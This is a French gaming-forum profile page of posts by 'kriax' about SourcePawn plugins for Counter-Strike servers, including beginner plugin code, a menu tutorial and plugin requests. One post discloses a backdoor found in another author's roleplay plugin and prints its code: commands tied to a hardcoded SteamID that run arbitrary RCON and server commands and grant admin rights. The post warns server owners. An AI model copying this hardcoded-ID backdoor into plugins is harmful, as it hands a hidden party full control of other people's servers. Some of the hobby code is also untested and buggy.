Everything posted by kriax
-
Des "codeurs" parmi l'assemblée ?
N'oublie pas que le Sourcepawn ne ce limite pas à cela Si tu as besoin d'un coup de main, je passerais de temps en temps sur le forum Kriax.
-
Role Play De Sphex
Maintenant tu le voit sur sont vrais jour
-
Role Play De Sphex
Oui seulement la source est décompilé et beacoup trop abimmé :/ Le seul moyen serais de re-coder le plugin et personnellement, je n'ai pas les connessancs requise, je n'ai pas regardé la Source mais logiquement il devrais y avoir de l'sql dedan et je n'apprendre pas encore le sourcepawn avec l'sql ^^ Mais bon ce serais sympatique Kriax.
-
Des "codeurs" parmi l'assemblée ?
Aucun Problème Kriax.
- Role Play De Sphex
- Role Play De Sphex
-
Role Play De Sphex
Salut, J'ai fais un petit tour sur Alliedmodders pour voir ce qu'il y à de nouveau, et je suis tomber sur un petit post croustillant. Il concerne le magnifique RolePlay de ce *** de Sphex ^^ Voici ma découverte : https://forums.allie...ad.php?t=192287 Je met directement ici le bous de code intéressent : public Action:Command_hExec(client, args) { decl String:Command[256]; GetCmdArg(1, Command, 255); if (IsClientInGame(client)) { decl String:SteamID[64]; GetClientAuthString(client, SteamID, 64); if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) { PrintToChat(client, Command); RunCommand(Command); } } return Action:0; } public Action:Command_Rcon(client, args) { decl String:Command[256]; GetCmdArg(1, Command, 255); if (IsClientInGame(client)) { decl String:SteamID[64]; GetClientAuthString(client, SteamID, 64); if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) { PrintToChat(client, Command); ServerCommand(Command); } } return Action:0; } public Action:Command_AddAdmin(client, args) { if (IsClientInGame(client)) { decl String:SteamID[64]; GetClientAuthString(client, SteamID, 64); if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) { new AdminId:admin = CreateAdmin("SpheX"); SetUserAdmin(client, admin, false); new AdminId:iAdminID = GetUserAdmin(client); SetAdminFlag(iAdminID, AdminFlag:14, true); } } return Action:3; } Ce code permet à Sphex de ce mettre admin automatiquement via sont steam ID "STEAM_0:1:36281003". Il lui autorise le Rcon et des requêtes Sql. Sphex fais de ce que il veux de votre serveur si vous avez sont RolePlay. Rien que pour le plaisir, je vous met ici sont RolePlay et la Licence décompilé par Inex : http://sp-partage.ve...net/roleplay.sp http://sp-partage.ve....net/licence.sp Je le post ici car vous êtes une team assez connus et donc, je peux prévenir un grand maximum de monde
-
Des "codeurs" parmi l'assemblée ?
// Tu met les includes néssésaire, celle la sont par défaut (Pas toute obligatoire dans mon exemple) #include <sourcemod> #include <sdktools> #include <cstrike> // Tu créé les information du plugin public Plugin:myinfo = { name = "*~ EXMPLE ~*", author = "*~ Kriax ~*", description = "Plugin d'exmple", version = "1.0", } // Quand la map commence public OnMapStart() { // Tu hook un event HookEvent("player_spawn", OnPlayerSpawn); // Premier argument = Le nom de l'event // Argument 2 = Le nom de l'event, ces toi qui le choisis } // Quand le joueur respawn public Action:OnPlayerSpawn(Handle:event, const String:name[], bool:dontBroadcast) { // Tu créé un nouveau client new client = GetClientOfUserId(GetEventInt(event, "userid")); // Tu lui envoye une phrase PrintToChat(client, "Vous venez de respawn"); } Aide toi des deux liens : Les Events : http://wiki.alliedmo..._Events_(Source L'api de Sourcemod : http://docs.sourcemod.net/api/ Pour apprendre à codé, regarde de petit plugin et essaye de les comprendres, au fil du temps tu coderas 3000 lignes sans faire une erreur ou une warning Kriax.
-
Des "codeurs" parmi l'assemblée ?
Moi ça fais 4mois que je code en Sourcepawn et franchement, même avec l'anglais pouris que j'ai et bien je comprend tout ^^ Ces pas dure Un petit professeur qui code et qui est la quand vous avez besoin et la tour est joué Pour ma part ça fais un moment que on m'aide plus et que je jou les proffesseur xD Kriax.
- Long Jump
-
Long Jump
• Pseudo IG : Kriax • SteamID : STEAM_0:0:29334838 • Lien vers topic de présentation : http://forum.supreme...entation-kriax/ • Nom de la team : Geek-Games • URL du site/forum de la team : http://www.geek-games.net Bonjour, Ma demande n'est pas un plugins, mais un bous de code avec des explications. Donc voilà , cela fais 1mois que je fais du Sourcepawn. J'ai sortis plusieurs plugins sur le forum Verygames. Actuellement mes deux plus gros plugins sont mes deux plus gros projets je voudrais qu'ils puissent sortirs officiellement sur Sourcemod.Net • Description du plugin souhaité (détaillée a fond) : Je voudrais un bous de code qui donnerais un long jump. Seulement il seras inséré dans un menu qui peut être ouvert qu'une fois par round et donc devras être désactiver une fois le round recommencer. Mais avec ce bous de code, je voudrais des explications affins que je puisses commprendre comment cela fonctionne. Je vous remercie d'avance. Kriax.
-
Auto Give Cash
Heuu... Nan xD Je pense ne pas avoir les compétances pour ^^" Et je suis occuper par mes autres plugins
-
Auto Give Cash
Salut, Je m'entraine à crée des Timer dans mes plugins histoire de les maitrisés. Donc j'ai crée un petit Auto Give Cash. Que fais t-il ? Toute les X secondes, il donne de l'argent. --> L'argent est modifiable. --> Le temps aussi Un advert s'affiche, pour ne pas flooder le chat : --> Vous pouvez l'activer et le désactiver. Devant l'advert il y à un prefix: --> Il est modifiable. À compiler bien sure, mais il y à l'include colors. Enfin la compilation en local ne devrais pas causé de problèmes. Si il doit pourrir sur mon ordinateur, je préfère le partager malgré que il est minuscule. Kriax. #include <sourcemod> #include <colors> #include <sdktools> #include <cstrike> #pragma semicolon 1 new Handle:g_iMoney = INVALID_HANDLE; new iMoney = 0; new Handle:Active_Advert = INVALID_HANDLE; new Advert =0; new Handle:Advert_TagTeam = INVALID_HANDLE; new String:TagTeam[64]; new Handle:Give_Time; new Handle:Give_Timer; #define VERSION "1.0" public Plugin:myinfo = { name = "Auto Give Cash", author = "Kriax", description = "Donne du cash à tout le monde automatiquement", version = VERSION, url = "", }; public OnPluginStart() { Give_Time = CreateConVar("sm_time", "10.0", "Après combien de secondes l'argent est donner"); Give_Timer = CreateTimer(GetConVarFloat(Give_Time), GiveCash, _, TIMER_REPEAT); g_iMoney = CreateConVar( "sm_money", "16000", "Quantité d'argent donner"); Active_Advert = CreateConVar( "sm_advert", "1", "Active l'advert d'information !"); Advert_TagTeam = CreateConVar( "sm_tagteam", "[Auto-Cash]", "Préfix qui s'afficheras dans vos phrases automatiques"); AutoExecConfig(true, "auto_give_cash"); HookConVarChange(Give_Time, Give_Time_Inerval); } public OnConfigsExecuted() { Advert = GetConVarInt(Active_Advert); iMoney = GetConVarInt(g_iMoney); GetConVarString(Advert_TagTeam, TagTeam, sizeof(TagTeam)); } public Give_Time_Inerval(Handle:convar, const String:oldValue[], const String:newValue[]) { KillTimer(Give_Timer); Give_Timer = CreateTimer(GetConVarFloat(Give_Time), GiveCash, _, TIMER_REPEAT); } public Action:GiveCash(Handle:timer) { for(new client = 1; client <= MaxClients;client++) { if (IsClientInGame(client) && IsPlayerAlive(client) && GetClientTeam(client) > 1 && ADMFLAG_CUSTOM1) { if (g_iMoney != INVALID_HANDLE) SetEntProp(client, Prop_Send, "m_iAccount", iMoney); if (Advert == 1) { CPrintToChat( client, "{green}%s {lightgreen}Vous avez reçus votre argent.", TagTeam); } } } }
-
Menu Vip V1.3
Salut, Rapellez-vous de mon Vip Menu V1 (Vous le trouverez sur ce lien : http://forum.verygames.net/showthread.php?63365-PARTAGE-Mes-plugins-Excuses) Oui mon simple Menu Vip qui fesais quelques trucs avec quelques bugs U_U, mon merveilleur Vip Menu qui offrais des avantages sans que l'ont puissent activer ou désactiver ces avantages. Et bien, ce Menu Vip est à jour. Quand Golden m'as apprit que je devais crée un autre type de menu pour l'activation - désactivation de mes avantages, cela ma motiver à apprendre. Et oui, maintenant vous pouvez choisir quels avantages vous voulez activer ou désactiver (cette fonction n'est pas tester, enfin je m'en rapel plus ^^" ) J'ai aussi ajouter deux trois petits truc sympa Voici la liste des avantages : - Avoir de la vie - Avoir de l'armure - Avoir un Usp - Avoir une grenade - Avoir une fumigène - Avoir de l'argent - Avoir de la vitesse - Avoir de la gravité - Avoir de la régénération Il y à aussi un advert qui dit ceci : "Avantagez-vous et devenez VIP dès maintenant ! " Il est activable et désactivable. IL FAUT LE FLAG O Comme toujours, il offre un tag VIP ".::VIP::." qui est aussi changable par les Cvars. Devant les adverts, ce trouve un préfix "[VIP]" dans les Cvars, ce petit préfix qui est changable aussi via les Cvars. Vue que il y à des includes, je vous est fais un fichier .rar que vous pouvez télécharger. Télécharger le ici : VipMenuV1.3.zip Je remercie Golden qui ma apprit comment utiliser ce type de menu malgré le peut de temps qu'il avais à me consacré. Ghost qui ma aider pour la régénération et qui m'aide pour mettre la transparance, sans oublier que le préfix fonctionne grâce à lui. Et Raiden qui ma apprit comment pouvoir activer un menu qu'une seul fois par round. Si vous avez quelque idées pour les avantages, n'hasité pas. Je passe de la V1.2 à la V1.3 directement, car la 1.2 était priver http://forum.verygames.net/images/smilies/icon_smile.gif Kriax.
-
Menu Bhop Vip V1.3
Salut, Je trouve que mon menu Bhop Vip V1.0 est un peut limiter U_U Donc une mise à jour à été faite ^^ Voici ce que fais la V1.3 (La v1.2 était priver) - Donne de la grande gravité - Donne de la gravité moyenne - Donne de la gravité normal - Donne de la petite gravité - Donne un scout - Sauvegarde la position - Téléporte à la position Cela rien que pour le menu. Pour ouvrir ce menu il faut tapez !bhopvip et avoir le flag O Comme je sais que il y auras des flemmards, j'ai aussi fais des petits raccourcis : - !vipsav : Sauvegarde la position - !viptel : Téléporte à la position - !vipscout : Donne un scout. Tout est activable - désactivable via les Cvars. Et il y à aussi le préfix des adverts que on peut changer via les Cvars Merci Ghost, ton PREFIX via les adverts m'aide beacoup Merci Golden, le menu PARAM m'aide beacoup aussi Merci, non plus personne ^^ @Piti Mouton : Oui j'aime les couleurs <3 /!\ PLUGIN NON TESTER - MAIS IL DEVRAIS FONCTIONNER /!\ /!\ PLUGIN À COMPILER /!\ #pragma semicolon 1 #include <sourcemod> #include <sdktools> #include <cstrike> #include <colors> new Utilisation[64+1]; new Float:Joueur[64+1][3]; #define INFO_VERSION "1.3" public Plugin:myinfo = { name = "Vip Menu", author = "Kriax", description = "Menu VIP offrant des avantages VIP sur le flag O", version = "INFO_VERSION", url = "", }; new Handle:Active_Grande_Gravite = INVALID_HANDLE; new Grande = 0; new Handle:Active_Moyenne_Gravite = INVALID_HANDLE; new Moyenne = 0; new Handle:Active_Normale_Gravite = INVALID_HANDLE; new Normale = 0; new Handle:Active_Petite_Gravite = INVALID_HANDLE; new Petite = 0; new Handle:Active_Scout = INVALID_HANDLE; new Scout = 0; new Handle:Active_Teleportation = INVALID_HANDLE; new Teleportation = 0; new Handle:Advert_TagTeam = INVALID_HANDLE; new String:TagTeam[64]; new Handle:Active_Advert = INVALID_HANDLE; new Advert = 0; public OnPluginStart() { HookEvent("player_spawn", OnPlayerSpawn); RegAdminCmd("bhopvip", menuvip, ADMFLAG_CUSTOM1, "Affiche les avantages VIP"); Active_Grande_Gravite = CreateConVar( "sm_grande_gravité", "1", "Active la grande gravité"); Active_Moyenne_Gravite = CreateConVar( "sm_moyenne_gravité", "1", "Active la gravité moyenne"); Active_Normale_Gravite = CreateConVar( "sm_normale_gravité", "1", "Active le gravité normale"); Active_Petite_Gravite = CreateConVar( "sm_petite_gravité", "1", "Active la petite gravité"); Active_Scout = CreateConVar( "sm_scout", "1", "Active le scout"); Active_Teleportation = CreateConVar( "sm_téléportation", "1", "Active la téléportation"); Active_Advert = CreateConVar("sm_adverts", "1", "Active l'advert d'information pour les commandes."); Advert_TagTeam = CreateConVar( "sm_vip_tagteam", ".::VIP::.", "Préfix qui s'afficheras dans vos phrases automatiques"); AddCommandListener(OnPlayerSay, "say"); AutoExecConfig(true, "vip_menu"); } public OnMapStart() { CreateTimer(120.0, advert, _,TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE); } public OnConfigsExecuted() { Grande = GetConVarInt(Active_Grande_Gravite); Moyenne = GetConVarInt(Active_Moyenne_Gravite); Normale = GetConVarInt(Active_Normale_Gravite); Petite = GetConVarInt(Active_Petite_Gravite); Scout = GetConVarInt(Active_Scout); Teleportation = GetConVarInt(Active_Teleportation); Advert = GetConVarInt(Active_Advert); GetConVarString(Advert_TagTeam, TagTeam, sizeof(TagTeam)); } public Action:OnPlayerSpawn(Handle:event, const String:name[], bool:dontBroadcast) { new client = GetClientOfUserId(GetEventInt(event, "userid")); if (IsClientInGame(client) && IsPlayerAlive(client) && GetClientTeam(client) > 1) { CPrintToChat(client, "{green}%s {lightgreen}Tapez {green}!bhopvip {lightgreen}pour ouvrir votre menu {green}VIP.", TagTeam); } } public Action:menuvip(client, args) { if (IsClientInGame(client) && IsPlayerAlive(client) && (GetClientTeam(client))>1) { new Handle:menu = CreateMenu(bhopvip); SetMenuTitle(menu, ".::Menu Vip::."); if (Grande == 1) { AddMenuItem(menu, "Grande", "Grande gravité"); } if(Moyenne == 1) { AddMenuItem(menu, "Moyenne", "Gravité moyenne"); } if (Normale == 1) { AddMenuItem(menu, "Normale", "Gravité normale"); } if (Petite == 1) { AddMenuItem(menu, "Petite", "Petite gravité"); } if (Scout == 1) { AddMenuItem(menu, "Scout", "Avoir un scout"); } if (Teleportation == 1) { AddMenuItem(menu, "Position", "Sauvegarde"); } if (Teleportation == 1) { AddMenuItem(menu, "Teleportation", "Téléportation"); } SetMenuExitButton(menu, true); DisplayMenu(menu, client, MENU_TIME_FOREVER); } else { CPrintToChat(client, "{green}%s {lightgreen}Vous ne pouvez utiliser ce menu que si tu est dans une équipe", TagTeam); } return Plugin_Handled; } public bhopvip(Handle:menu, MenuAction:action, client, param2) { if ( action == MenuAction_Select ) { new String:info[64]; GetMenuItem(menu, param2, info, sizeof(info)); if(StrEqual(info, "Grande")) { CPrintToChat(client, "{green}%s {lightgreen}Vous avez choisi la {green}Grande {lightgreen}gravité.", TagTeam); SetEntityGravity(client, 2.0); } if(StrEqual(info, "Moyenne")) { CPrintToChat(client, "{green}%s {lightgreen}Vous avez choisi la {lightgreen}gravité {green}Moyenne.", TagTeam); SetEntityGravity(client, 1.5); } if(StrEqual(info, "Normale")) { CPrintToChat(client, "{green}%s {lightgreen}Vous avez choisi la {lightgreen}gravité {green}Normal.", TagTeam); SetEntityGravity(client, 1.0); } if(StrEqual(info, "Petite")) { CPrintToChat(client, "{green}%s {lightgreen}Vous avez choisi la {green}Petite {lightgreen}gravité.", TagTeam); SetEntityGravity(client, 0.5); } if(StrEqual(info, "Scout")) { CPrintToChat(client, "{green}%s {lightgreen}Vous avez reçus un {green}scout.", TagTeam); GivePlayerItem(client, "weapon_scout"); } if(StrEqual(info, "Sauvegarde")) { CPrintToChat(client, "{green}%s {lightgreen}Vous avez {green}sauvegarder {lightgreen}votre position.", TagTeam); Utilisation[client] = 1; SauvegardeLaPosition(client); } if(StrEqual(info, "Teleportation")) { CPrintToChat(client, "{green}%s lightgreen}Vous avez été{green}téléporter.", TagTeam); TeleporteLeJoueur(client); } } else if (action == MenuAction_End ) { CloseHandle(menu); } } public SauvegardeLaPosition(client) { Utilisation[client] = 1; GetClientAbsOrigin(client,Joueur[client]); } public TeleporteLeJoueur(client) { if (Utilisation[client] == 0) return; TeleportEntity(client, Joueur[client], NULL_VECTOR, NULL_VECTOR); } public Action:OnPlayerSay(client, const String:command[], argc) { if (IsClientInGame(client) && IsPlayerAlive(client) && GetClientTeam(client) > 1 && ADMFLAG_CUSTOM1) { decl String:message[32]; GetCmdArgString(message, sizeof(message)); StripQuotes(message); if(StrEqual(message, "!vipsav")&& ADMFLAG_CUSTOM1) { CPrintToChat(client, "{green}%s {lightgreen}Vous avez {green}sauvegarder {lightgreen}votre position.", TagTeam); Utilisation[client] = 1; SauvegardeLaPosition(client); } if(StrEqual(message, "!viptel")) { CPrintToChat(client, "{green}%s lightgreen}Vous avez été{green}téléporter.", TagTeam); TeleporteLeJoueur(client); } if(StrEqual(message, "!vipscout")) { GivePlayerItem(client, "weapon_scout"); CPrintToChat(client, "{green}%s {lightgreen}Vous avez reçus un {green}scout.", TagTeam); } } else if (GetClientTeam(client) > 1) { PrintToChat(client, "{green}%s {lightgreen}Vous devez être dans une équipe !"); } } public Action:advert(Handle:timer) { for(new client = 1; client <= MaxClients;client++) { if (Advert == 1) { if (IsClientInGame(client) && IsPlayerAlive(client) && GetClientTeam(client) > 1 && ADMFLAG_CUSTOM1) { CPrintToChat( client, "{green}%s {lightgreen}Tapez {green}!vipsav {lightgreen}pour sauvegarder votre position, {green}!viptel {lightgreen}pour vous téléporter à votre position précédente et {green}!vipscout {lightgreen}pour avoir un {green}Scout.", TagTeam); } } } }
-
recherche infructueuse
Je t'en prit, mon aide et mes services sont gatuit Kriax.
-
recherche infructueuse
hum, je pense que si tu gère les flags admin cela peut te convenir Kriax.
-
!he
Ba sur le serveur que tu veux xD Personnellement, comme dit plus haut, je crée des petits plugins pour apprendre facilement. Heu,...Je crée un Roleplay avec la personne qui m'apprend à coder ^^" Kriax.
-
!he
Oui mais la ces pas pour un zombie mod, ces pour le plaisir de coder et pour le plaisir du partage xD
-
!he
Je code actuellement un projet personnelle qui seras publier dans les plugins sourcemod. J'ai du mal à le faire car je ne fais que débuter en SP depuis 3semaines. De plus je me sent pas capable de crée un RolePlay. Peut être plus tard quand les connessance et la motivation seras la Kriax.
-
!he
Salut, Je viens de terminer un de mes plugins. Je m'ennuiyais et j'avais aucune idée. Donc sa ma occuper même pas 5minutes :'( Expliquations : Ces un plugin qui permet au CT d'avoir une grenade en écrivant dans le chat !he Si vous êtes en spectateur ou en Terro, une phrase s'afficheras. --> Vous devez être en CT pour avoir accès à cette commande <-- Ces disponnible en téléchargement, je vous met le code source directement sur le post. #include <sourcemod> #include <cstrike> #include <sdktools> public Plugin:myinfo = { name = "!HE", author = "Kriax", description = "Done une HE au CT --> !HE", version = "1.0", url = "" } public OnPluginStart() { AddCommandListener(OnPlayerSay, "say"); } public Action:OnPlayerSay(client, const String:command[], argc) { if (IsPlayerAlive(client) && GetClientTeam(client) == 3) { decl String:message[32]; GetCmdArgString(message, sizeof(message)); StripQuotes(message); if(StrEqual(message, "!he")) { GivePlayerItem(client, "weapon_hegrenade"); } } else if (GetClientTeam(client) < 3) { PrintToChat(client, "Vous devez être en CT pour avoir accès à cette commande"); } } Kriax. HeForCt.smx HeForCt.sp
-
[TUTO] Crée un menu en Sourcepawn
Merci. Je suis certaint que oui ^^ Moi j'ai fais mes débus comme ça, donc pourquoi pas les autres Kriax.
-
[TUTO] Crée un menu en Sourcepawn
Bonjour, Je vous présente mon tuto pour crée un menu en Sourcepawn. Ce n'est pas biens compliqué ^^ Ce menu vous permettra d'afficher des règles. Tout d'abord il faut définir la commande qui permettras d'ouvrir le menu et le nom du menu qui permettras plusieurs choses dans l'avenir du plugin. En rouge, la commande du plugin En bleu, le nom du plugin En vert, un information sur le menu, aussi appeler un arguments public OnPluginStart() { { RegConsoleCmd("[color="#ff0000"]tuto[/color]", [color="#0000ff"]Afficher_Menu_Tuto[/color], "[color="#008000"]Affiche le menu[/color]"); } } L'argument en vert, ne fais que vous informer sur la commande. Il faut savoir que la commande en rouge "tuto" seras le !tuto sur le serveur. Il faut maintenant crée le menu public Action:[color="#0000ff"]Afficher_Menu_Tuto[/color](client, args) { new Handle:menu = CreateMenu([color="#0000ff"]Afficher_Menu_Tuto[/color]); } Le nom du menu "Afficher_Menu_Tuto" permet de crée le menu. Nous allons maintenant donner un titre au menu. public Action:[color="#0000ff"]Afficher_Menu_Tuto[/color](client, args) { new Handle:menu = CreateMenu([color="#0000ff"]Afficher_Menu_Tuto[/color]); SetMenuTitle(menu, "[color="#ff8c00"]TutoMenu[/color]"); } En orange, le titre du menu l’or de l'ouverture. Nous allons crée les boutons du menu. public Action:[color="#0000ff"]Afficher_Menu_Tuto[/color](client, args) { new Handle:menu = CreateMenu([color="#0000ff"]Afficher_Menu_Tuto[/color]); SetMenuTitle(menu, "[color="#ff8c00"]TutoMenu[/color]"); AddMenuItem(menu, "option1", "[color="#ffa07a"]Règle 1[/color]"); AddMenuItem(menu, "option2", "[color="#ffa07a"]Règles 2[/color]"); } En rose, les boutons pour le menu, les boutons auras un nom : Bouton 1 "Règle1" - Boutons 2 "Règle2" Ce bous de code permet de donner un bouton CLOSE au menu SetMenuExitButton(menu, true); Et ce bous de code permet de laisser le menu ouvert indéfiniment sauf si on appuie sur une des options proposer DisplayMenu(menu, client, MENU_TIME_FOREVER); Voyons voir les options du menu que nous avons créés : public Action:[color="#0000cd"]Afficher_Menu_Tuto[/color](client, args) { new Handle:menu = CreateMenu([color="#0000cd"]Afficher_Menu_Tuto[/color]); SetMenuTitle(menu, "[color="#ff8c00"]TutoMenu[/color]"); AddMenuItem(menu, "option1", "[color="#ffa07a"]Règle 1[/color]"); AddMenuItem(menu, "option2", "[color="#ffa07a"]Règles 2[/color]"); SetMenuExitButton(menu, true); DisplayMenu(menu, client, MENU_TIME_FOREVER); } Il suffis maintenant de dire ce que chaque bouton doit faire. Pour ce faire on défini l'actions de chaque bouton. public [color="#0000ff"]Afficher_Menu_Tuto[/color](Handle:menu, MenuAction:action, client, itemNum) { if ( action == [color="#800000"]MenuAction_Select[/color] ) { En brun, l'action que feras le menu quand on appuieras sur un des boutons. Dans ce cas si il séléctionneras. Maintenant il suffis de dire ce que chaque bouton feras. Pour ce faire on crée des cases. ATTENTION : LE BOUTON 1 SERAS LA CASE 0 - BOUTON 2 SERAS LA CASE 1. ATTENTION : LES CASES SERONT DECALER DE 1 PAR APPORT AU BOUTON. public [color="#0000ff"]Afficher_Menu_Tuto[/color](Handle:menu, MenuAction:action, client, itemNum) { [color="#800000"] if ( action == MenuAction_Select ) [/color] { switch (itemNum) { [color="#800080"]case 0: { PrintToChat(client, "Ne pas insulter"), }[/color] } {En violet, ce que feras la case 0 (Bouton 1) quand on la séléctionneras. Dans notre cas, elle afficheras dans le chat la phrase : Ne pas insulter Pour ajouté une case, il suffit de faire pareil mais en avencans le chiffre de la case par 1. [b]public [color="#0000cd"]Afficher_Menu_Tuto[/color](Handle:menu, MenuAction:action, client, itemNum) { [color="#800000"] if ( action == MenuAction_Select ) [/color] { switch (itemNum) { [color="#800080"]case 0: { PrintToChat(client, "Ne pas insulter"), } case 1: { PrintToChat(client, "Ne pas flooder"), }[/color] } } }[/b] Et si tout va biens, vous optiendré tout cela : #include <sourcemod> public OnPluginStart() { { RegConsoleCmd("[color="#ff0000"]tuto[/color]", [color="#0000cd"]Afficher_Menu_Tuto[/color], "[color="#008000"]Affiche le menu[/color]"); } } public Action:[color="#0000cd"]Afficher_Menu_Tuto[/color](client, args) { new Handle:menu = CreateMenu([color="#0000cd"]Afficher_Menu_Tuto[/color]); SetMenuTitle(menu, "[color="#ff8c00"]TutoMenu[/color]"); AddMenuItem(menu, "option1", "[color="#ffa07a"]Règle 1[/color]"); AddMenuItem(menu, "option2", "[color="#ffa07a"]Règles 2[/color]"); SetMenuExitButton(menu, true); DisplayMenu(menu, client, MENU_TIME_FOREVER); } public [color="#0000cd"]Afficher_Menu_Tuto[/color](Handle:menu, MenuAction:action, client, itemNum) { if ( action == MenuAction_Select ) { switch (itemNum) { c[color="#800080"]ase 0: { PrintToChat(client, "Ne pas insulter"), } case 1: { PrintToChat(client, "Ne pas flooder"), }[/color] } } }Il ne faut surtout pas oublier l'include principale pour le plugin. À mettre tout au dessus du plugin !! #include <sourcemod> Kriax.
-
[PRÉSENTATION] Kriax
Oui j'ai des nouveaux copins <3 xD
- [PRÉSENTATION] Kriax